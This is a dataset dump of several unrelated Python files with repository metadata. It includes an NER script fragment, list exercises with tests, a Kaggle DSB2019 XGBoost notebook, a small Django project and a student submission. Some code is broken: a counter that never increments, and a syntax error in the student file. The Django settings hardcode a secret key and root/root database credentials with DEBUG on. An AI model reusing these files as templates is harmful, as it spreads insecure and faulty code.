temp = temp + loads(server.parse(obj[1][i]))['sentences'][x]['parsetree'].split('] [')
temp = temp + loads(server.parse(obj[1][i]))['sentences'][x]['words'][0]
except IndexError:
continue
for frag in temp:
if 'PartOfSpeech=NNP' in frag:
text = frag.split('Text=')[1].split(' ')[0]
position = frag.split('CharacterOffsetBegin=')[1].split(' ')[0]
pos = convertoffset(numlist,i+1,int(position),obj[1][i])
previous[i].append([text,int(position),pos])
elif 'PartOfSpeech=N' in frag:
text = frag.split('Text=')[1].split(' ')[0]
position = frag.split('CharacterOffsetBegin=')[1].split(' ')[0]
pos = convertoffset(numlist,i+1,int(position),obj[1][i])
lex = []
for synset in wn.synsets(text):
lex.append(synset.lexname())
if lex == []:
continue
elif float(lex.count('noun.person'))/float(len(lex)) >= 0.4:
previous[i].append([text,int(position),pos])
word = loads(server.parse(obj[1][i]))['sentences'][0]['words'][0]
if word[1]['PartOfSpeech'] == 'NNP':
text = word[0]
position = word[1]['CharacterOffsetBegin']
pos = convertoffset(numlist,i+1,int(position),obj[1][i])
previous[i].append([text,int(position),pos])
elif 'N' in word[1]['PartOfSpeech']:
text = word[0]
position = word[1]['CharacterOffsetBegin']
pos = convertoffset(numlist,i+1,int(position),obj[1][i])
lex = []
for synset in wn.synsets(text):
lex.append(synset.lexname())
if lex == []:
pass
elif float(lex.count('noun.person'))/float(len(lex)) >= 0.4:
previous[i].append([text,int(position),pos])
following = []
for j in range(len(obj[2])):
following.append([])
temp = []
for y in range(len(loads(server.parse(obj[2][j]))['sentences'])):
try:
temp = temp + loads(server.parse(obj[2][j]))['sentences'][y]['words'][0]
temp = temp + loads(server.parse(obj[2][j]))['sentences'][y]['parsetree'].split('] [')
except IndexError:
continue
for frag in temp:
if 'PartOfSpeech=NNP' in frag:
text = frag.split('Text=')[1].split(' ')[0]
position = frag.split('CharacterOffsetBegin=')[1].split(' ')[0]
pos = convertoffset(numlist,keyposition[n]+j+1,int(position),obj[2][j])
following[j].append([text,int(position),pos])
elif 'PartOfSpeech=N' in frag:
text = frag.split('Text=')[1].split(' ')[0]
position = frag.split('CharacterOffsetBegin=')[1].split(' ')[0]
pos = convertoffset(numlist,keyposition[n]+j+1,int(position),obj[2][j])
lex = []
for synset in wn.synsets(text):
lex.append(synset.lexname())
if lex == []:
continue
if float(lex.count('noun.person'))/float(len(lex)) >= 0.4:
following[j].append([text,int(position),pos])
if word[1]['PartOfSpeech'] == 'NNP':
text = word[0]
position = word[1]['CharacterOffsetBegin']
pos = convertoffset(numlist,keyposition[n]+j+1,int(position),obj[2][j])
following[j].append([text,int(position),pos])
elif 'N' in word[1]['PartOfSpeech']:
text = word[0]
position = word[1]['CharacterOffsetBegin']
pos = convertoffset(numlist,keyposition[n]+j+1,int(position),obj[2][j])
lex = []
for synset in wn.synsets(text):
lex.append(synset.lexname())
if lex == []:
pass
elif float(lex.count('noun.person'))/float(len(lex)) >= 0.4:
following[j].append([text,int(position),pos])
entities.append([current,previous,following])
n = n +1
return entities
entities = ner(instance)
entities_new = entities[:]
#print entities
#entities [name, offset in the paragraph, word position in the instance]
# In[8]:
#combine contiguous name entities and separate those within and outside quotation marks
def contiguous(instance,namelist,ni,cls,nl):
i = 0
t = len(namelist)-1
newlist = {}
newlist['in'] = []
newlist['out'] = []
while i < t:
if namelist[i+1][1]-namelist[i][1] == len(namelist[i][0])+1 and instance[ni][cls][nl][namelist[i][1]+len(namelist[i][0])] == ' ':
namelist[i][0] = namelist[i][0]+' '+namelist[i+1][0]
namelist.pop(i+1)
t = t - 1
i = i - 1
i = i + 1
for obj in namelist:
if instance[ni][cls][nl][0:obj[1]].count('"')%2 == 1:
newlist['in'].append(obj)
else:
newlist['out'].append(obj)
return newlist
for i in range(len(entities)):
for j in range(3):
for k in range(len(instance[i][j])):
entities_new[i][j][k] = contiguous(instance,entities[i][j][k],i,j,k)
simplejson.dump(entities_new, res)
res.close()
| [
"[email protected]"
] | |
172b69d8e0f85da27da0cd12868c709c8e151f19 | 489d26a949b99b784c6cadc6e9b69715377a89c9 | /script-list.py | 5fe37396fc98b02ba91c8a3d105700853a7c101e | [] | no_license | elainemicheletti/exercicios-de-logica | 97d610eac62d64fe256d7a7638def124c3a86363 | 64ee18925e088103276bd5ef6a35ebf27f971cd1 | refs/heads/master | 2021-05-04T11:23:58.682502 | 2020-08-17T23:48:53 | 2020-08-17T23:48:53 | 46,579,695 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,240 | py | ## Basic Python Exercises - list
##
## Tuplas .sort() sorted() e fatiamento de sequencias
#!/usr/bin/python -tt
# coding: urf-8
import unittest
# dado a lista se strings 'words', retoarnar o total de strings, se cada palavra for maior ou igual a dois
# e se o primeiro caracter coincidir com o último
def match_ends(words):
count = 0
for word in words:
if len(word) >= 2 and word[0] == word[-1]:
count = count
return count
# dado uma lista de strings, retornar uma lista de string ordenada, exceto todo grupo de strings que inicie com 'x' que virá primeiro
#
# dica: poderá fazer com duas listas ordenando cada uma delas e depois combinando-as
def front_x(words):
lista_x = []
lista_normal = []
for word in words:
if word[0] == "x":
lista_x.append(word)
else:
lista_normal.append(word)
lista_x.sort()
lista_normal.sort()
return lista_x + lista_normal
# dado uma lista de tuplas não vazias, retornar uma lista ordenada pelo último elemento de cada tupla
#
# dica: use a função personalizada 'last()' para extrair o último elemento, ela deverá passar no segundo parâmetro da função
def sort_last(tuples):
return sorted(tuples, key=last)
def last(a):
return a[-1]
class MyTest(unittest.TestCase):
def test_match_ends(self):
self.assertEqual(match_ends(['aba', 'xyz', 'aa', 'x', 'bbb']), 3)
self.assertEqual(match_ends(['', 'x', 'xy', 'xyx', 'xx']), 2)
self.assertEqual(match_ends(['aaa', 'be', 'abc', 'hello']), 1)
def test_front_x(self):
self.assertEqual(front_x(['bbb', 'ccc', 'axx', 'xzz', 'xaa']), ['xaa', 'xzz', 'axx', 'bbb', 'ccc'])
self.assertEqual(front_x(['ccc', 'bbb', 'aaa', 'xcc', 'xaa']), ['xaa', 'xcc', 'aaa', 'bbb', 'ccc'])
self.assertEqual(front_x(['mix', 'xyz', 'apple', 'xanadu', 'aardvark']), ['xanadu', 'xyz', 'aardvark', 'apple', 'mix'])
def test_sort_last(self):
self.assertEqual(sort_last([(1, 3), (3, 2), (2, 1)]), [(2, 1), (3, 2), (1, 3)])
self.assertEqual(sort_last([(2, 3), (1, 2), (3, 1)]), [(3, 1), (1, 2), (2, 3)])
self.assertEqual(sort_last([(1, 7), (1, 3), (3, 4, 5), (2, 2)]), [(2, 2), (1, 3), (3, 4, 5), (1, 7)])
if __name__ == '__main__':
unittest.main()
| [
"[email protected]"
] | |
66c765949fbc0f68d3fa563f1170b7476d4e8341 | f3e5f7da6b9c71f99fc77618d8e05819b050ca2a | /old/lyons-v4.py | 1df5f86d77c95e7bcbc05343561d24a088aa6b8c | [] | no_license | chris-seals/dsb2019 | 5464003a240d48ce251e2ea24a4bc4c7897bcb82 | 139315280f4d5d0de5771257038bdbdc8e5338df | refs/heads/cjs | 2020-12-06T23:27:17.113657 | 2020-02-10T21:00:58 | 2020-02-10T21:00:58 | 232,579,196 | 0 | 0 | null | 2020-01-08T15:17:37 | 2020-01-08T14:16:08 | Jupyter Notebook | UTF-8 | Python | false | false | 23,743 | py | # %% [code]
# This Python 3 environment comes with many helpful analytics libraries installed
# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python
# For example, here's several helpful packages to load in
import numpy as np # linear algebra
import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)
import matplotlib.pyplot as plt
import xgboost as xgb
from xgboost import XGBClassifier, XGBRegressor
from xgboost import plot_importance
from catboost import CatBoostRegressor
from matplotlib import pyplot
import shap
import random
import os
for dirname, _, filenames in os.walk('/kaggle/input'):
for filename in filenames:
print(os.path.join(dirname, filename))
# Any results you write to the current directory are saved as output.
from time import time
from tqdm import tqdm_notebook as tqdm
from collections import Counter
from scipy import stats
import lightgbm as lgb
from sklearn.metrics import cohen_kappa_score, mean_squared_error
from sklearn.model_selection import KFold, StratifiedKFold
import gc
import json
pd.set_option('display.max_columns', 1000)
# %% [markdown]
# # Notes
# * Check the distribution of the target variable of the out of folds score and the prediction distribution. A good model should more or less have the same distribution.
# %% [code]
def eval_qwk_lgb_regr(y_true, y_pred):
"""
Fast cappa eval function for lgb.
"""
dist = Counter(reduce_train['accuracy_group'])
for k in dist:
dist[k] /= len(reduce_train)
reduce_train['accuracy_group'].hist()
acum = 0
bound = {}
for i in range(3):
acum += dist[i]
bound[i] = np.percentile(y_pred, acum * 100)
def classify(x):
if x <= bound[0]:
return 0
elif x <= bound[1]:
return 1
elif x <= bound[2]:
return 2
else:
return 3
y_pred = np.array(list(map(classify, y_pred))).reshape(y_true.shape)
return 'cappa', qwk3(y_true, y_pred), True
# %% [code]
def cohenkappa(ypred, y):
y = y.get_label().astype("int")
ypred = ypred.reshape((4, -1)).argmax(axis = 0)
loss = cohen_kappa_score(y, ypred, weights = 'quadratic')
return "cappa", loss, True
# %% [code]
def qwk3(a1, a2, max_rat=3):
assert(len(a1) == len(a2))
a1 = np.asarray(a1, dtype=int)
a2 = np.asarray(a2, dtype=int)
hist1 = np.zeros((max_rat + 1, ))
hist2 = np.zeros((max_rat + 1, ))
o = 0
for k in range(a1.shape[0]):
i, j = a1[k], a2[k]
hist1[i] += 1
hist2[j] += 1
o += (i - j) * (i - j)
e = 0
for i in range(max_rat + 1):
for j in range(max_rat + 1):
e += hist1[i] * hist2[j] * (i - j) * (i - j)
e = e / a1.shape[0]
return 1 - o / e
# %% [code]
def read_data():
print('Reading train.csv file....')
train = pd.read_csv('data/train.csv')
print('Training.csv file have {} rows and {} columns'.format(train.shape[0], train.shape[1]))
print('Reading test.csv file....')
test = pd.read_csv('data/test.csv')
print('Test.csv file have {} rows and {} columns'.format(test.shape[0], test.shape[1]))
print('Reading train_labels.csv file....')
train_labels = pd.read_csv('data/train_labels.csv')
print('Train_labels.csv file have {} rows and {} columns'.format(train_labels.shape[0], train_labels.shape[1]))
return train, test, train_labels
# %% [code]
def encode_title(train, test, train_labels):
# encode title
train['title_event_code'] = list(map(lambda x, y: str(x) + '_' + str(y), train['title'], train['event_code']))
test['title_event_code'] = list(map(lambda x, y: str(x) + '_' + str(y), test['title'], test['event_code']))
all_title_event_code = list(set(train["title_event_code"].unique()).union(test["title_event_code"].unique()))
# make a list with all the unique 'titles' from the train and test set
list_of_user_activities = list(set(train['title'].unique()).union(set(test['title'].unique())))
# make a list with all the unique 'event_code' from the train and test set
list_of_event_code = list(set(train['event_code'].unique()).union(set(test['event_code'].unique())))
list_of_event_id = list(set(train['event_id'].unique()).union(set(test['event_id'].unique())))
# make a list with all the unique worlds from the train and test set
list_of_worlds = list(set(train['world'].unique()).union(set(test['world'].unique())))
# create a dictionary numerating the titles
activities_map = dict(zip(list_of_user_activities, np.arange(len(list_of_user_activities))))
activities_labels = dict(zip(np.arange(len(list_of_user_activities)), list_of_user_activities))
activities_world = dict(zip(list_of_worlds, np.arange(len(list_of_worlds))))
assess_titles = list(set(train[train['type'] == 'Assessment']['title'].value_counts().index).union(set(test[test['type'] == 'Assessment']['title'].value_counts().index)))
# replace the text titles with the number titles from the dict
train['title'] = train['title'].map(activities_map)
test['title'] = test['title'].map(activities_map)
train['world'] = train['world'].map(activities_world)
test['world'] = test['world'].map(activities_world)
train_labels['title'] = train_labels['title'].map(activities_map)
win_code = dict(zip(activities_map.values(), (4100*np.ones(len(activities_map))).astype('int')))
# then, it set one element, the 'Bird Measurer (Assessment)' as 4110, 10 more than the rest
win_code[activities_map['Bird Measurer (Assessment)']] = 4110
# convert text into datetime
train['timestamp'] = pd.to_datetime(train['timestamp'])
test['timestamp'] = pd.to_datetime(test['timestamp'])
return train, test, train_labels, win_code, list_of_user_activities, list_of_event_code, activities_labels, assess_titles, list_of_event_id, all_title_event_code
# %% [code]
# this is the function that convert the raw data into processed features
def get_data(user_sample, test_set=False):
'''
The user_sample is a DataFrame from train or test where the only one
installation_id is filtered
And the test_set parameter is related with the labels processing, that is only requered
if test_set=False
'''
# Constants and parameters declaration
last_activity = 0
user_activities_count = {'Clip':0, 'Activity': 0, 'Assessment': 0, 'Game':0}
# new features: time spent in each activity
last_session_time_sec = 0
accuracy_groups = {0:0, 1:0, 2:0, 3:0}
all_assessments = []
accumulated_accuracy_group = 0
accumulated_accuracy = 0
accumulated_correct_attempts = 0
accumulated_uncorrect_attempts = 0
accumulated_actions = 0
counter = 0
time_first_activity = float(user_sample['timestamp'].values[0])
durations = []
last_accuracy_title = {'acc_' + title: -1 for title in assess_titles}
event_code_count: Dict[str, int] = {ev: 0 for ev in list_of_event_code}
event_id_count: Dict[str, int] = {eve: 0 for eve in list_of_event_id}
title_count: Dict[str, int] = {eve: 0 for eve in activities_labels.values()}
title_event_code_count: Dict[str, int] = {t_eve: 0 for t_eve in all_title_event_code}
# last features
sessions_count = 0
# itarates through each session of one instalation_id
for i, session in user_sample.groupby('game_session', sort=False):
# i = game_session_id
# session is a DataFrame that contain only one game_session
# get some sessions information
session_type = session['type'].iloc[0]
session_title = session['title'].iloc[0]
session_title_text = activities_labels[session_title]
game_session = session['game_session'].iloc[0]
# for each assessment, and only this kind off session, the features below are processed
# and a register are generated
if (session_type == 'Assessment') & (test_set or len(session)>1):
# search for event_code 4100, that represents the assessments trial
all_attempts = session.query(f'event_code == {win_code[session_title]}')
# then, check the numbers of wins and the number of losses
true_attempts = all_attempts['event_data'].str.contains('true').sum()
false_attempts = all_attempts['event_data'].str.contains('false').sum()
# copy a dict to use as feature template, it's initialized with some itens:
# {'Clip':0, 'Activity': 0, 'Assessment': 0, 'Game':0}
features = user_activities_count.copy()
features.update(last_accuracy_title.copy())
features.update(event_code_count.copy())
features.update(event_id_count.copy())
features.update(title_count.copy())
features.update(title_event_code_count.copy())
features.update(last_accuracy_title.copy())
features['installation_session_count'] = sessions_count
variety_features = [('var_event_code', event_code_count),
('var_event_id', event_id_count),
('var_title', title_count),
('var_title_event_code', title_event_code_count)]
for name, dict_counts in variety_features:
arr = np.array(list(dict_counts.values()))
features[name] = np.count_nonzero(arr)
# get installation_id for aggregated features
features['installation_id'] = session['installation_id'].iloc[-1]
features['game_session'] = game_session
# add title as feature, remembering that title represents the name of the game
features['session_title'] = session['title'].iloc[0]
# the 4 lines below add the feature of the history of the trials of this player
# this is based on the all time attempts so far, at the moment of this assessment
features['accumulated_correct_attempts'] = accumulated_correct_attempts
features['accumulated_uncorrect_attempts'] = accumulated_uncorrect_attempts
accumulated_correct_attempts += true_attempts
accumulated_uncorrect_attempts += false_attempts
# the time spent in the app so far
if durations == []:
features['duration_mean'] = 0
features['duration_std'] = 0
else:
features['duration_mean'] = np.mean(durations)
features['duration_std'] = np.std(durations)
durations.append((session.iloc[-1, 2] - session.iloc[0, 2] ).seconds)
# the accurace is the all time wins divided by the all time attempts
features['accumulated_accuracy'] = accumulated_accuracy/counter if counter > 0 else 0
accuracy = true_attempts/(true_attempts+false_attempts) if (true_attempts+false_attempts) != 0 else 0
accumulated_accuracy += accuracy
last_accuracy_title['acc_' + session_title_text] = accuracy
# a feature of the current accuracy categorized
# it is a counter of how many times this player was in each accuracy group
if accuracy == 0:
features['accuracy_group'] = 0
elif accuracy == 1:
features['accuracy_group'] = 3
elif accuracy == 0.5:
features['accuracy_group'] = 2
else:
features['accuracy_group'] = 1
features.update(accuracy_groups)
accuracy_groups[features['accuracy_group']] += 1
# mean of the all accuracy groups of this player
features['accumulated_accuracy_group'] = accumulated_accuracy_group/counter if counter > 0 else 0
accumulated_accuracy_group += features['accuracy_group']
# how many actions the player has done so far, it is initialized as 0 and updated some lines below
features['accumulated_actions'] = accumulated_actions
# there are some conditions to allow this features to be inserted in the datasets
# if it's a test set, all sessions belong to the final dataset
# it it's a train, needs to be passed throught this clausule: session.query(f'event_code == {win_code[session_title]}')
# that means, must exist an event_code 4100 or 4110
if test_set:
all_assessments.append(features)
elif true_attempts+false_attempts > 0:
all_assessments.append(features)
counter += 1
sessions_count += 1
# this piece counts how many actions was made in each event_code so far
def update_counters(counter: dict, col: str):
num_of_session_count = Counter(session[col])
for k in num_of_session_count.keys():
x = k
if col == 'title':
x = activities_labels[k]
counter[x] += num_of_session_count[k]
return counter
event_code_count = update_counters(event_code_count, "event_code")
event_id_count = update_counters(event_id_count, "event_id")
title_count = update_counters(title_count, 'title')
title_event_code_count = update_counters(title_event_code_count, 'title_event_code')
# counts how many actions the player has done so far, used in the feature of the same name
accumulated_actions += len(session)
if last_activity != session_type:
user_activities_count[session_type] += 1
last_activitiy = session_type
# if it't the test_set, only the last assessment must be predicted, the previous are scraped
if test_set:
return all_assessments[-1]
# in the train_set, all assessments goes to the dataset
return all_assessments
# %% [code]
def get_train_and_test(train, test):
compiled_train = []
compiled_test = []
assessment_sessions_by_instid = {}
# Loop through each train installation id
for ins_id, user_sample in tqdm(train.groupby('installation_id', sort = False),
total = train['installation_id'].nunique()):
compiled_train += get_data(user_sample, test_set = False)
reduce_train = pd.DataFrame(compiled_train)
del compiled_train
# Loop through each test installation id
for ins_id, user_sample in tqdm(test.groupby('installation_id', sort = False),
total = test['installation_id'].nunique()):
test_data = get_data(user_sample, test_set = True)
compiled_test.append(test_data)
reduce_test = pd.DataFrame(compiled_test)
del compiled_test
categoricals = ['session_title']
return reduce_train, reduce_test, categoricals
# %% [code]
class Base_Model(object):
def __init__(self, train_df, test_df, features, categoricals=[], n_splits=5, verbose=True):
self.train_df = train_df
self.test_df = test_df
self.features = features
self.n_splits = n_splits
self.categoricals = categoricals
self.target = 'accuracy_group'
self.cv = self.get_cv()
self.verbose = verbose
self.params = self.get_params()
self.y_pred, self.score, self.model = self.fit()
def train_model(self, train_set, val_set):
raise NotImplementedError
def get_cv(self):
cv = StratifiedKFold(n_splits=self.n_splits, shuffle=True, random_state=42)
return cv.split(self.train_df, self.train_df[self.target])
def get_params(self):
raise NotImplementedError
def convert_dataset(self, x_train, y_train, x_val, y_val):
raise NotImplementedError
def convert_x(self, x):
return x
def fit(self):
oof_pred = np.zeros((len(reduce_train), ))
y_pred = np.zeros((len(reduce_test), ))
for fold, (train_idx, val_idx) in enumerate(self.cv):
try:
x_train, x_val = self.train_df[self.features].iloc[train_idx], self.train_df[self.features].iloc[val_idx]
y_train, y_val = self.train_df[self.target][train_idx], self.train_df[self.target][val_idx]
train_set, val_set = self.convert_dataset(x_train, y_train, x_val, y_val)
model = self.train_model(train_set, val_set)
conv_x_val = self.convert_x(x_val)
oof_pred[val_idx] = model.predict(conv_x_val).reshape(oof_pred[val_idx].shape)
x_test = self.convert_x(self.test_df[self.features])
y_pred += model.predict(x_test).reshape(y_pred.shape) / self.n_splits
print('Partial score of fold {} is: {}'.format(fold, eval_qwk_lgb_regr(y_val, oof_pred[val_idx])[1]))
_, loss_score, _ = eval_qwk_lgb_regr(self.train_df[self.target], oof_pred)
except:
print('Error training: val_idx = ', val_idx)
if self.verbose:
print('Our oof cohen kappa score is: ', loss_score)
return y_pred, loss_score, model
# %% [code]
class Xgb_Model(Base_Model):
def train_model(self, train_set, val_set):
verbosity = 100 if self.verbose else 0
return xgb.train(self.params, train_set,
num_boost_round=5000, evals=[(train_set, 'train'), (val_set, 'val')],
verbose_eval=verbosity, early_stopping_rounds=100)
def convert_dataset(self, x_train, y_train, x_val, y_val):
train_set = xgb.DMatrix(x_train, y_train)
val_set = xgb.DMatrix(x_val, y_val)
return train_set, val_set
def convert_x(self, x):
return xgb.DMatrix(x)
def get_params(self):
params = {'colsample_bytree': 0.8,
'learning_rate': 0.01,
'max_depth': 10,
'subsample': 1,
'objective':'reg:squarederror',
#'eval_metric':'rmse',
'min_child_weight':3,
'gamma':0.25,
'n_estimators':5000}
return params
# %% [code]
def remove_dead_weight(df, train_labels, test_set=False):
data_df = pd.DataFrame(df).copy()
data_df = data_df[data_df.world != 'NONE']
# Filter out only the installation ids with assessments
keep_id = data_df[data_df.type == "Assessment"][['installation_id']].drop_duplicates()
data_df = pd.merge(data_df, keep_id, on="installation_id", how="inner")
# If training set then make sure the installation ids are in the labels and remove assements not in the labels
if test_set == False:
data_df.reset_index()
data_df = data_df[data_df.installation_id.isin(train_labels.installation_id.unique())]
assessments = data_df[data_df.type == 'Assessment']
assessments = assessments[~assessments.game_session.isin(train_labels.game_session)]
data_df = data_df[~data_df.game_session.isin(assessments.game_session)]
data_df.reset_index()
return data_df
# %% [code]
# read data
train, test, train_labels = read_data()
# %% [code]
# remove unwanted data
train = remove_dead_weight(train, train_labels, test_set=False)
test = remove_dead_weight(test, train_labels, test_set=True)
# %% [code]
# get usefull dict with maping encode
train, test, train_labels, win_code, list_of_user_activities, list_of_event_code, activities_labels, assess_titles, list_of_event_id, all_title_event_code = encode_title(train, test, train_labels)
# %% [code]
# tranform function to get the train and test set
reduce_train, reduce_test, categoricals = get_train_and_test(train, test)
# %% [code]
# Delete train and terst to free up resources
del train
del test
reduce_train.to_csv('reduce_train.csv', index=False)
reduce_test.to_csv('reduce_test.csv', index=False)
# %% [code]
# Add the accuracy group vals
reduce_train = reduce_train.set_index('game_session')
train_labels = train_labels.set_index('game_session')
reduce_train.update(train_labels)
# %% [code]
reduce_train = reduce_train.reset_index()
train_labels = train_labels.reset_index()
# %% [code]
def stract_hists(feature, train=reduce_train, test=reduce_test, adjust=False, plot=False):
n_bins = 10
train_data = train[feature]
test_data = test[feature]
if adjust:
test_data *= train_data.mean() / test_data.mean()
perc_90 = np.percentile(train_data, 95)
train_data = np.clip(train_data, 0, perc_90)
test_data = np.clip(test_data, 0, perc_90)
train_hist = np.histogram(train_data, bins=n_bins)[0] / len(train_data)
test_hist = np.histogram(test_data, bins=n_bins)[0] / len(test_data)
msre = mean_squared_error(train_hist, test_hist)
if plot:
print(msre)
plt.bar(range(n_bins), train_hist, color='blue', alpha=0.5)
plt.bar(range(n_bins), test_hist, color='red', alpha=0.5)
plt.show()
return msre
stract_hists('Magma Peak - Level 1_2000', adjust=False, plot=True)
# %% [code]
# call feature engineering function
features = reduce_train.loc[(reduce_train.sum(axis=1) != 0), (reduce_train.sum(axis=0) != 0)].columns # delete useless columns
features = [x for x in features if x not in ['accuracy_group', 'game_session', 'installation_id']]
# %% [code]
counter = 0
to_remove = []
for feat_a in features:
for feat_b in features:
if feat_a != feat_b and feat_a not in to_remove and feat_b not in to_remove:
c = np.corrcoef(reduce_train[feat_a], reduce_train[feat_b])[0][1]
if c > 0.995:
counter += 1
to_remove.append(feat_b)
print('{}: FEAT_A: {} FEAT_B: {} - Correlation: {}'.format(counter, feat_a, feat_b, c))
# %% [code]
to_exclude = []
ajusted_test = reduce_test.copy()
for feature in ajusted_test.columns:
if feature not in ['accuracy_group', 'installation_id', 'game_session' 'session_title']:
try:
data = reduce_train[feature]
train_mean = data.mean()
data = ajusted_test[feature]
test_mean = data.mean()
error = stract_hists(feature, adjust=True)
ajust_factor = train_mean / test_mean
if ajust_factor > 10 or ajust_factor < 0.1:# or error > 0.01:
to_exclude.append(feature)
print(feature, train_mean, test_mean, error)
else:
ajusted_test[feature] *= ajust_factor
except:
to_exclude.append(feature)
# %% [code]
features = [x for x in features if x not in (to_exclude + to_remove)]
# %% [code] {"scrolled":false}
xgb_model = Xgb_Model(reduce_train, reduce_test, features, categoricals=categoricals)
# %% [code]
final_pred = xgb_model.y_pred
dist = Counter(reduce_train['accuracy_group'])
for k in dist:
dist[k] /= len(reduce_train)
reduce_train['accuracy_group'].hist()
acum = 0
bound = {}
for i in range(3):
acum += dist[i]
bound[i] = np.percentile(final_pred, acum * 100)
print(bound)
def classify(x):
if x <= bound[0]:
return 0
elif x <= bound[1]:
return 1
elif x <= bound[2]:
return 2
else:
return 3
final_pred = np.array(list(map(classify, final_pred)))
# %% [code]
submission = pd.DataFrame()
submission['installation_id'] = reduce_test['installation_id']
submission['accuracy_group'] = final_pred.astype(int)
submission.to_csv('submission.csv', index=False)
submission['accuracy_group'].value_counts(normalize=True)
# %% [code]
| [
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] | |
1d0c5840f42c513e12b08defc9cfd08a7622ff34 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/141/usersdata/164/62144/submittedfiles/av2_p2_m2.py | cf2af6c995fd2f98bb7c17c2b52705db0a575052 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 430 | py | # -*- coding: utf-8 -*-
def qvidas (pe, ps):
for i in range (0, len(a)+1, 1):
if (pe==(a[i]-1))
soma=soma+a[i-1]
if (ps==a[i]-1):
soma=soma+a[i-1]
return(soma)
n=int(input('Número de elementos da lista: '))
a=[]
for i in range (0, n, 1):
vidas=int(input('Número de vidas: '))
a.append(vidas)
pe=int(input('Porta de entrada: '))
ps=int(input('Porta de saída: '))
| [
"[email protected]"
] | |
00155d659580b1f1caabc65aa54bdd5a0c4fa884 | 43b6b312005ec2609e64d7137c98aa044470ab8e | /customer/views.py | 6a9ea875a89919df1723f7256c459871383c2fe7 | [] | no_license | Jon005/BookingSystem | 85e7181ff39ace2a76254f2ee008706901f5fd92 | 41822c631da82d5932c160d6370caaba4147c88b | refs/heads/master | 2023-06-07T20:52:01.417473 | 2021-06-27T13:09:48 | 2021-06-27T13:09:48 | 380,740,211 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 186 | py | from django.shortcuts import render
# Create your views here.
def home(request):
context={
'value': 'customer'
}
return render(request,'base.html',context)
| [
"[email protected]"
] | |
1feada97f4ed28e5f514582cc44a427ae76d7dc6 | 1fe56144905244643dbbab69819720bc16031657 | /.history/book/settings_20210422150351.py | 88b3ae72a9c9d1ae8132d3eaec3669704089145b | [] | no_license | RaghdaMadiane/django | 2052fcdd532f9678fefb034bd60e44f466bd9759 | 6ca3f87f0b72880f071d90968f0a63ea5badcca8 | refs/heads/master | 2023-04-15T17:28:25.939823 | 2021-04-24T22:33:21 | 2021-04-24T22:33:21 | 361,279,372 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,321 | py | """
Django settings for book project.
Generated by 'django-admin startproject' using Django 3.2.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from pathlib import Path
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'django-insecure-0^$e#*3*b=n_sqe059#ckyy-)ikq+90p@&_x2g=be#yz&s7nn='
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'isbn_field',
'books',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'book.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'book.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': "books",
'USER':"root",
'PASSWORD':"root",
'HOST':"localhost"
}
}
# Password validation
# https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.2/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.2/howto/static-files/
STATIC_URL = '/static/'
# Default primary key field type
# https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field
DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
| [
"[email protected]"
] | |
b10320e26ac1231b5798ceb5c5971938a8e25da7 | a0a6f5b63ba8c9265a1666d177af06d4341665d8 | /migrations/versions/27bb9f2d78c9_.py | f39d1f19e47b45370b8f60ae70110c6d7c6fa8af | [] | no_license | Erick-LONG/flask_blog | bc0ea2fae61e254b333c46402acc4bea2208156b | 92c4be13b020c757719be3f0dd6429d6d4a72251 | refs/heads/master | 2020-12-30T12:22:44.229048 | 2017-06-11T08:15:57 | 2017-06-11T08:15:57 | 91,423,280 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,299 | py | """empty message
Revision ID: 27bb9f2d78c9
Revises: 423700be3811
Create Date: 2017-06-04 09:34:09.964915
"""
from alembic import op
